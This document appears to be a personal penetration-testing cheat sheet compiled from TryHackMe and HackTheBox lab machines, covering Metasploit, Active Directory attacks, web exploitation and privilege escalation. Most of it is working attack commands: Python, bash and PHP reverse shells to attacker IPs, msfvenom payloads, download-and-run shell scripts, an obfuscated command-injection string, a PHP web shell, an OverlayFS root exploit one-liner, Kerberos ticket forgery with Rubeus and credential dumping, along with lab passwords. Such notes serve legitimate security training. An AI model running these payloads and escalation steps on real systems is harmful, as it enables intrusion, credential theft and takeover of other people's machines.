Cyber Cheat Sheet

Exploitation Steps

1. **Metasploit:**

```
run post/multi/recon/local_exploit_suggester
session <session number>
getprivs
ps
load kiwi
creds_all
```

2. **Netcat Shell:**

   - On your machine: `nc -lvnp 8005`
   - Reverse shell payload:

```
python -c 'import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4242)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2); pty.spawn("/bin/sh")'
```

Mongo DB Enumeration

1. `mongo`
2. `show dbs`
3. `use sudousersbak`
4. `show collections`
5. `db.flag.find()`
6. `db.user.find()`

Exiftool Exploit

1. Download script: `wget 10.2.63.225:8008/<filename.sh>`
2. Set permissions: `chmod 777 exp.sh`
3. Run: `bash ./exp.sh 'sudo su'`

Other Commands

```
sudo -u root /usr/local/bin/exiftool delicate.jpg
echo $PATH
chmod +x date
export PATH=/home/rabbit:$PATH
```

Python Code Snippets

```
import os
try:
    os.system("/bin/bash")
except:
    pass
```

Windows Enumeration

- Impacket: `impacket-GetNPUsers fusion.corp/ -usersfile user.txt -no-pass -dc-ip <IP>`
- Evil-WinRM: `evil-winrm /evil-winrm.rb -I <IP> -u lparker -p <password>`
- LDAP: `ldapdomaindump <IP> -u 'fusion.corp\\\\lparker' -p 'password'`

Additional Tools

- SeBackupPrivilege on GitHub

File Operations

`copy-fileSeBackupPrivilege c:\\\\Users\\\\Administrator\\\\Desktop\\\\flag.txt c:/Users/jmurphy/flag.txt`

Devel

- **Exploit File**: `windows/remote/19033.txt`

FTP Commands

- `get`: Download from FTP server
- `put`: Upload to FTP server

Compile

```
sudo apt-get install gcc-mingw-w64
i686-w64-mingw32-gcc-win32 input_code.c -lws2_32 -o output.exe
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe
```

Windows NT Kernel

```
BIOS Support in Legacy 16-bit Apps: Uses Virtual-8086 mode
Implementation: Two stages
Transition: Triggered by #GP trap handler (nt!KiTrap0D) when it detects specific
cs:eip values
```

Nmap

- **Command**: `Nmap -sV(version) -sS(SYN) 909.12…`

Metasploit

1. **Start**: `msfconsole`
2. **Search Target**: `search icecast(target)`
3. **Use Module**: `` `use icecast` or `use 0` `` (select this module)
4. **Show Options**: `show options`

Privilege Escalation

- **Run Local Exploit Suggester**: `run post/multi/recon/local_exploit_suggester`
- **Get Privileges**: `getprivs`

Others

- **Session Commands**: `sessions || sessions 1/2/3 || set sessions 2/1/3`
- **Gobuster**: `gobuster [mode] -u [target ip] -w [wordlist]`

King of the Hill

Generate Payload

- **MSFVenom**: `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.1.218 LPORT=1337 -f exe > shell.exe`

File Transfer

- **PowerShell**: `Invoke-WebRequest -uri <URL> -outfile <filename>`

HTTP Server

- **Python**: `python3 -m http.server 8008`

Metasploit Handler

1. **Start Handler**: `user multi/handler`
2. **Set Payload**: `set payload windows/meterpreter/reverse_tcp`

Active

SMB Enumeration

- `smbclient -L //10.10.10.100` (List SMB shares)
- `smbclient //10.10.10.100/Replication`
- `smbclient //10.10.10.100/Users`

More Enumeration

- `enum4linux <ip>`
- `smbmap -H 10.10.10.100` (-H → hosts)
- `smbclient //10.10.10.100/Replication -c 'recurse;ls'` (List everything)
- `./smbmap -R Replication -H 10.10.10.100` (List everything)

GPP Decrypt & Policy

- `gpp-decrypt <encrypted_password>`
- `\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\windows NT\SecEdit\`

File Download Commands

- `recurse on`
- `prompt off`
- `mls`
- `mget *`

Impacket

- `impacket-GetADUsers -all active.htb/SVC_TGS -dc-ip 10.10.10.100`
- `impacket-GetUserSPNs -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request`

Sync Time

- `sudo apt install ntpdate`
- `sudo ntpdate 10.10.10.100`

Admin Access

- `impacket-psexec active.htb/Administrator@10.10.10.100`

EAD

DNS Configuration

- `Alt+f2 > nm-connection-editor > IP Setting` (DNS conf)
- `sudo systemctl restart NetworkManager`
- `cat /etc/resolv.conf`

Credentials & Hosts

- TryHackMe Creds
  - kenneth.davies : Password1 > newPassword1
  - Username: kimberley.smith Password: Password!
- **Jump Host**: Use Remmina or similar for RDP
  - `sudo apt install remmina`
  - `ssh za.tryhackme.com\\<AD_Username>@thmjmp1.za.tryhackme.com`

Windows Native Binary

- `runas.exe /netonly /user:<domain>\\<username> cmd.exe`

SYSVOL & Kerberos vs NTLM

- SYSVOL: `dir \\za.tryhackme.com\SYSVOL\`
- Kerberos (FQDM, default) vs NTLM (IP)

Windows Commands

- `net user /domain`
- `net user zoe.marshall /domain`
- `net group /domain`
- `net accounts /domain`

PowerShell Commands

- `Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *`
- `Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table`
- `Get-ADGroup -Identity Administrators -Server za.tryhackme.com`
- `Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com`
- `Set-ADAccountPassword -Identity gordon.stevens -Server za.tryhackme.com -OldPassword (ConvertTo-SecureString -AsPlaintext "old" -force) -NewPassword (ConvertTo-SecureString -AsPlainText "new" -Force)`

Bloodhound

- Install: `neo4j console` (Start DB), `bloodhound --no-sandbox`
  - Default DB creds: `neo4j:neo4j`, Newpass: `naqib`
- Enumeration: `SharpHound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs`

BAD

DNS Config

- `Alt+f2 > nm-connection-editor > IP Setting`

BCD Files

- `tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd`

PowerPXE

- **Command**: `powershell -executionpolicy bypass`
- **Import**: `Import-Module .\PowerPXE.ps1`
- **Get WIM**: `$BCDFile = "conf.bcd"; Get-WimFile -bcdFile $BCDFile`

WIM Files

- **Download**: `tftp -i 10.200.4.202 GET " \Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim`
- **Credentials**: `Get-FindCredentials -WimFile pxeboot.wim`

Microsoft Tool for PXE Boot

- Microsoft Deployment Toolkit

Config Enumeration

- Web application config files
- Service configuration files
- Registry keys
- Centrally deployed applications

Automation Tools

- Seatbelt

Pass File Extraction

- `Cd C:\ProgramData\McAfee\Agent\DB`
- `scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .`

Credentials

- jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
- User: svcAV
- Domain: za.tryhackme.com
- Path: epo$\
- DC: THMDC

Support

Tools

- **Nmap**
- **Smbclient**
- **Mono**: `sudo apt install mono-complete`
- **Wireshark**: Check LDAP queries
- **ldapsearch**: Used to get the support account password

Commands

- `ldapsearch -D support\\ldap -H ldap://10.10.11.174 -w <password> -b 'CN=Users,DC=support,DC=htb' | grep info`
- `cut -d "," -f 2 demo.cs`

PowerShell Scripts & EXEs

- **powerview.ps1**: `Import-Module .\`

- **powermad.ps1**: `Import-Module .\`
- **Rubeus.exe**: Run with specific commands

PowerMad

- Create Machine Account: `New-MachineAccount -MachineAccount newm -Password $(ConvertTo-SecureString 'password' -AsPlainText -Force)`

PowerView

- Get Computer SID: `$ComputerSid = Get-DomainComputer newm -Properties objectsid | Select -Expand objectsid`

ACE & DACL

- Create and set ACE: Get the binary bytes and change `msDS-AllowedToActOnBehalfOfOtherIdentity`

Rubeus

- Hash password: `.\Rubeus.exe hash /password:password`
- Get a Ticket: `.\Rubeus.exe s4u /user:newm$ /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt`

Ticket Manipulation

- Base64 decode: `cat ticket.txt | base64 -d > btacket.txt`
- Convert to ccache: `impacket-ticketConverter btacket.txt testing.txt`
- Connect to machine: `export KRB5CCNAME=testing.txt; impacket-psexec support.htb/Administrator@dc.support.htb -dc-ip 10.10.11.174 -k -no-pass`

CozyHosting

Directory Enumeration

- **dirsearch**: `dirsearch -u cozyhosting.htb`

Reverse Shell

- Bash command: `bash -i >& /dev/tcp/10.10.14.6/8008 0>&1`
- Download: `curl http://10.10.14.6:8000/shell.sh --output /tmp/shell.sh`
- Permission: `chmod 777 /tmp/shell.sh`
- Execute: `/tmp/shell.sh`

Command Execution

- Use `$(IFS=_command;='command';$command)`
- Base64 encoded: `;echo${IFS%??}"BASE64"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;`

URL Encoder/Decoder

- URL Encoder

File Transfer via Netcat

- Receiver: `nc -nlvp 9000 > file.jar`
- Sender: `nc 10.10.14.6 9000 < file.jar`

Shell Upgrade

- `python -c 'import pty;pty.spawn("/bin/bash")'`

PostgreSQL

- Connect: `psql -h 127.0.0.1 -U postgres`
- List databases: `\list`
- Switch to DB: `\c cozyhosting`
- List tables: `\d`

Hashcat

- Find algos: `hashcat --help | grep -i '$2'`

Privilege Escalation

- `sudo -l` to list permitted commands
- For SSH: `sudo ssh -o ProxyCommand='; bash 0<&2 1>&2' x`

Escape Technique Cheat Sheet

MSSQL Access & Enumeration

- Access MSSQL: `./mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@dc.sequel.htb`
- List Databases: `select name from master..sysdatabases;`
- Enumerate Directories: `EXEC xp_dirtree '\\10.10.14.6\share', 1, 1`
- Execute Subdirs: `EXEC master..xp_subdirs '\\10.10.110.17\share\'`

Responder for Hash Capture

```
sudo apt install responder
sudo responder -I tun0
```

Hash Cracking

- Hashcat: `hashcat .. .. -o`

Bloodhound Installation & Usage

```
sudo apt update && sudo apt install -y bloodhound
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml | docker compose -f - up
```

Certify for Finding Vulnerabilities

- Upload `Certify.exe`
- Find Vulnerable Hosts: `.\Certify.exe find /vulnerable /currentuser`
- Request Certificate: `.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator`

Certificate Manipulation

- Copy to `.pem`: `copy the certificate and paste it in the .pem file`
- Convert to `.pfx`: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`

Using Rubeus for TGT

- Get Admin Hash: `.\Rubeus.exe asktgt /user:administrator /certificate:C:\Users\Ryan.Cooper\Documents\cert.pfx`
- Show Hash: `.\Rubeus.exe asktgt /user:administrator /certificate:C:\Users\Ryan.Cooper\Documents\cert.pfx /getcredentials /show /nowrap`

Evil-WinRM

- Usage: `evil-winrm -H`

Additional Tools and Commands

- SQL Command: `sqsh -S 10.10.11.202 -U PublicUser -P "GuestUserCantWrite1"`
- HTB Lab: `[HackTheBox Lab](https://enterprise.hackthebox.com/academy-lab/4784/5017/modules/116/1169)`
- Check CA Certificate: `openssl s_client -showcerts -connect <ip or fqdn of your AD server>:636`
- Install Certipy-AD: `pip3 install certipy-ad`

Metabase RCE Exploitation and Ubuntu OverlayFS Local Privilege Escalation

Metabase RCE

- Target: `data.analytical.htb`
- CVE: CVE-2023-38646
- Enumeration: `linpeas`
- Environment Variables: `env`

Ubuntu OverlayFS Local Privilege Escalation

- OS Information: `cat /etc/os-release`
- CVE: CVE-2021-3493
- Compile Exploit: `gcc exploit.c -o exploit`

Alternate Checks and Exploits

Check for Vulnerability

```
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip
l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
```

Actual Exploit

```
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip
l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("chmod u+s
/bin/bash")'

/bin/bash -p
```

GoBox, PHP, Networking, and More

```
{{.}}
{{.DebugCmd "echo 'username:mm' | sudo chpasswd"}}
```

```
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKING_IP/443 0>&1'");?>
```

```
sudo apt install network-manager-l2tp
aws config
aws s3 cp sh.php s3://website/sh.php --endpoint-url=http://10.10.11.113:80
```

```
echo '<?php echo shell_exec($_REQUEST["cmd"]); ?>'|base64
GET /shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.10/8008+0>%261'
HTTP/1.1
http://10.10.11.113/0xdf.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.6/443
0>%261'
```

```
script /dev/null -c bash
curl http://127.0.0.1:8000?ippsec.run[id]
curl http://127.0.0.1:8000?ippsec.run[cp%20%2fbin%2fbash%20%2ftmp] == cp /bin/bash
/tmp
/tmp/bash -p
```

Keeper Notes

SCP Command

- Download file from the remote server to your local machine:

```
scp lnorgaard@keeper.htb:/home/lnorgaard/RT30000.zip /home/kali
python3 poc.py -d KeePassDumpFull.dmp
rødgrød med fløde
puttygen keeper.txt -O private-openssh -O id_rsa
chmod 600 id_rsa
ssh root@10.10.11.227 -i id_rsa
```

```

```